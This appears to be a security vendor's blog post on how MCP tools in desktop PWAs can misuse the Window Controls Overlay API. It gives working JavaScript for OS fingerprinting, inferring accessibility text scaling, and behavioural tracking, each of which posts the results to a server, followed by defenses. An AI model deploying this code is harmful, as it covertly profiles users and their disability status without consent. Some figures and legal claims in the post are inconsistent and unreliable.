MCP Server Security · Window Controls Overlay API · navigator.windowControlsOverlay · Desktop PWA · OS Fingerprinting · Accessibility Oracle
MCP server Window Controls Overlay API security
The Window Controls Overlay API exposes the pixel dimensions and position of the title bar area for desktop PWAs via navigator.windowControlsOverlay.getTitlebarAreaRect(). MCP tool output can read these dimensions — which differ predictably by OS, window manager, and accessibility settings — to fingerprint the platform and identify accessibility configurations without any permission dialog or Permissions-Policy directive.
Window Controls Overlay API surface
// Window Controls Overlay API — Chrome 104+, Edge 104+; desktop PWAs only
// Requires display_override: ["window-controls-overlay"] in the PWA manifest
// No permission prompt; no Permissions-Policy directive restricts this API
// Check if WCO is active and visible
const wco = navigator.windowControlsOverlay;
console.log('WCO visible:', wco.visible); // true when WCO display mode is active
// Get the titlebar area rect (the area NOT covered by window control buttons)
// Returns a DOMRect: { x, y, width, height }
const rect = wco.getTitlebarAreaRect();
console.log('Titlebar x:', rect.x); // 0 on Windows/Linux; button-width on macOS
console.log('Titlebar y:', rect.y); // 0 (top of client area)
console.log('Titlebar width:', rect.width); // total - button area width
console.log('Titlebar height:', rect.height); // OS-specific: 28–44px depending on platform+scale
// CSS environment variables (auto-updated by browser)
// env(titlebar-area-x) — same as rect.x
// env(titlebar-area-y) — same as rect.y
// env(titlebar-area-width) — same as rect.width
// env(titlebar-area-height) — same as rect.height
// overlaychange fires when: window resize, fullscreen toggle, snap, OS theme change
wco.addEventListener('geometrychange', (event) => {
// event.titlebarAreaRect is the new rect after geometry change
console.log('New titlebar height:', event.titlebarAreaRect.height);
console.log('WCO still visible:', event.visible);
});
No permission, no directive: getTitlebarAreaRect() requires no permission prompt and there is no Permissions-Policy directive that restricts it. The API is only active when the PWA's manifest includes window-controls-overlay in display_override, but once the PWA is installed, the MCP tool running inside it has continuous access to these dimensions without any further user consent.
Attack 1 — OS and window manager fingerprinting via titlebar geometry
The height returned by getTitlebarAreaRect() is determined by the operating system's native chrome metrics, which differ predictably by platform. On macOS Big Sur and later, the title bar height is 28px at default display scaling (the three traffic-light buttons are 12px circles with 8px of padding top and bottom). On Windows 11, the title bar is 32px. On Windows 10, it is 30px. On Linux, the height depends on the desktop environment: GNOME (default Ubuntu) uses 37px, KDE Plasma defaults to 30px, and XFCE is 26px. Beyond height, the x position of the titlebar area distinguishes macOS from Windows/Linux: on macOS the traffic-light buttons are on the left, so rect.x is non-zero (the width of the button group plus margins, typically 78px on macOS); on Windows and Linux the close/minimize/maximize buttons are on the right, so rect.x is 0. The combination of height and x position reliably disambiguates macOS, Windows 10, Windows 11, and common Linux DEs without querying navigator.userAgent or navigator.platform.
// Attack: OS fingerprint from WCO titlebar geometry — no permission, no UA string needed
function fingerprintOS() {
const wco = navigator.windowControlsOverlay;
if (!wco?.visible) return { os: 'non-WCO-context', confidence: 'low' };
const rect = wco.getTitlebarAreaRect();
const h = Math.round(rect.height); // integer px at 100% display scale
const isLeft = rect.x > 0; // true = buttons on left (macOS)
// Primary discriminator: button side
if (isLeft) {
// macOS (all versions use left-side traffic lights)
// Exact height varies by macOS version and display scale
return {
os: 'macOS',
confidence: 'high',
titlebarHeight: h,
buttonSide: 'left',
// h=28 → Big Sur+ at 100%, h=22 → older macOS or Retina at non-native scale
version: h >= 27 ? 'Big Sur or later' : 'Catalina or earlier'
};
}
// Buttons on right → Windows or Linux
if (h === 32) return { os: 'Windows 11', confidence: 'high', titlebarHeight: h };
if (h === 30) return { os: 'Windows 10 or KDE Plasma', confidence: 'medium', titlebarHeight: h };
if (h === 37) return { os: 'Linux / GNOME (Ubuntu default)', confidence: 'high', titlebarHeight: h };
if (h === 26) return { os: 'Linux / XFCE', confidence: 'high', titlebarHeight: h };
if (h === 28) return { os: 'Linux / Cinnamon or MATE', confidence: 'medium', titlebarHeight: h };
return { os: 'unknown', confidence: 'low', titlebarHeight: h, buttonSide: 'right' };
}
const profile = fingerprintOS();
fetch('/api/os-fingerprint', {
method: 'POST',
body: JSON.stringify({ ...profile, timestamp: Date.now() })
});
// Combined with navigator.platform (still available) or CSS media features:
// - WCO h=32 + platform='Win32' → Windows 11 (high confidence)
// - WCO h=37 + Noto Sans system font measured via canvas → Ubuntu GNOME (high confidence)
// - WCO x>0 + devicePixelRatio=2 + h=28 → macOS Retina at 100% scale (high confidence)
Attack 2 — Accessibility and text scaling oracle via titlebar height
The OS title bar height scales proportionally with the user's system text size and accessibility scaling settings. On Windows, the system scales DWM chrome along with UI fonts: at 100% text scale (default), the titlebar is 32px; at 125% accessibility scale it grows to approximately 38px; at 150% it reaches approximately 44px; at 175% it is approximately 50px. On macOS, the "Accessibility → Display → Increase Contrast" setting does not change the titlebar height, but enabling "Large Text" in System Preferences increases it to approximately 32px from the baseline 28px. The overlaychange / geometrychange event fires when the user changes their accessibility settings while the PWA is open, allowing the MCP tool to receive a real-time update without polling. These measurements expose whether the user relies on large-text accessibility settings — a protected characteristic in many jurisdictions — without any consent from the user.
// Attack: accessibility scale oracle from WCO titlebar height on Windows
function inferWindowsAccessibilityScale() {
const rect = navigator.windowControlsOverlay.getTitlebarAreaRect();
const h = Math.round(rect.height);
// Windows 11 baseline height at each text scaling level:
// 100% → 32px, 125% → 38px, 150% → 44px, 175% → 50px, 200% → 56px
// Linear: h ≈ 32 + (scale - 100) * 0.24 * 32 / 100
// Inverse: scale ≈ ((h - 32) / (32 * 0.24)) * 100 + 100
const estimatedScale = Math.round(((h - 32) / 7.68) * 25 + 100);
const usesLargeText = estimatedScale > 110;
return {
titlebarHeight: h,
estimatedTextScale: `${estimatedScale}%`, // e.g., '125%', '150%'
usesLargeText, // protected characteristic
likelyAccessibilityUser: estimatedScale >= 125
};
}
// Listen for real-time accessibility changes (user adjusts settings while PWA is open)
navigator.windowControlsOverlay.addEventListener('geometrychange', (event) => {
const newH = Math.round(event.titlebarAreaRect.height);
const newScale = inferWindowsAccessibilityScale();
fetch('/api/accessibility-change', {
method: 'POST',
body: JSON.stringify({
timestamp: Date.now(),
oldHeight: Math.round(navigator.windowControlsOverlay.getTitlebarAreaRect().height),
newHeight: newH,
scaleProfile: newScale
})
});
});
// macOS Large Text equivalent:
// default: h=28; Large Text enabled: h≈32
// inferring 'Large Text' from h > 29 → detects accessibility mode (macOS)
Accessibility profiling: Detecting whether a user has large text or high-contrast settings enabled reveals disability status or vision impairment — a protected characteristic under WCAG accessibility guidelines and data protection laws in multiple jurisdictions. The WCO API offers this measurement without any consent mechanism or opt-out.
Attack 3 — Window interaction timing oracle via overlaychange events
The geometrychange event fires on navigator.windowControlsOverlay every time the PWA window geometry changes: on resize, on snap (Windows snap layout), on fullscreen enter/exit, and on dock (macOS). Recording the timestamps of these events reveals the user's window management behavior and work patterns. A user who frequently snaps windows generates a distinctive event cadence; a user who rarely resizes generates none. Over a session, the event timing also reveals approximately when the user pauses interaction (gaps in events correspond to periods of reading or away-from-keyboard time), and the total number of fullscreen events reveals how often the user enters presentation or focus modes. This behavioral fingerprint is stable across sessions and correlates with user identity even without cookies.
// Attack: behavioral fingerprint from WCO geometry change event cadence
class WCOBehaviorTracker {
constructor() {
this.events = [];
this.wco = navigator.windowControlsOverlay;
}
start() {
this.wco.addEventListener('geometrychange', (e) => {
const rect = e.titlebarAreaRect;
this.events.push({
type: this.classifyEvent(rect),
height: Math.round(rect.height),
width: Math.round(rect.width),
timestamp: Date.now()
});
// Exfiltrate every 10 events
if (this.events.length % 10 === 0) this.exfiltrate();
});
}
classifyEvent(rect) {
// Heuristic classification of resize event type
if (rect.height === 0) return 'fullscreen_enter';
if (!this.wco.visible) return 'fullscreen_enter';
if (rect.width > window.screen.availWidth * 0.9) return 'maximized';
if (rect.width < window.screen.availWidth * 0.6) return 'windowed_small';
return 'snap_or_resize';
}
async exfiltrate() {
const summary = {
totalEvents: this.events.length,
fullscreenCount: this.events.filter(e => e.type === 'fullscreen_enter').length,
maxWindowCount: this.events.filter(e => e.type === 'maximized').length,
snapCount: this.events.filter(e => e.type === 'snap_or_resize').length,
firstEvent: this.events[0]?.timestamp,
lastEvent: this.events.at(-1)?.timestamp,
avgIntervalMs: this.avgInterval()
};
await fetch('/api/wco-behavior', {
method: 'POST',
body: JSON.stringify({ summary, raw: this.events.slice(-20) })
});
}
avgInterval() {
if (this.events.length < 2) return null;
const diffs = this.events.slice(1).map((e, i) => e.timestamp - this.events[i].timestamp);
return diffs.reduce((a, b) => a + b, 0) / diffs.length;
}
}
// Behavioral fingerprint built from WCO events:
// - 0 geometrychange events per session → user works maximized or in tiling WM (i3, Sway)
// - Frequent snap events every 30–90s → developer with multi-window workflow
// - fullscreenCount > 5/hour → content creator or presenter using focus mode often
// - avgIntervalMs < 15000 → power user constantly rearranging windows (reliable cross-session fingerprint)
What SkillAudit checks
Browser support and Permissions-Policy
| Platform | WCO API | Permission prompt | Permissions-Policy directive | Restriction |
|---|---|---|---|---|
| Chrome 104+ (desktop) | Full support | None | None | Requires WCO display mode in manifest |
| Edge 104+ (desktop) | Full support | None | None | Requires WCO display mode in manifest |
| Chrome/Edge (mobile) | Not applicable | N/A | N/A | WCO is a desktop-only PWA feature |
| Firefox | Not supported | N/A | N/A | N/A |
| Safari | Not supported | N/A | N/A | N/A |
Defenses: There is no Permissions-Policy directive for the Window Controls Overlay API. The attack only activates when the PWA is installed with display_override: ["window-controls-overlay"] in its manifest. SkillAudit flags MCP tools that call getTitlebarAreaRect() and transmit the result externally, and tools that attach geometrychange listeners with external exfiltration. Security teams evaluating MCP server PWA installations should review manifest display_override values — a legitimate MCP tool has no reason to request window-controls-overlay mode unless it genuinely needs to render custom title bar content.
Related: Screen Wake Lock API security · Compute Pressure API security · Device Memory API security · All security posts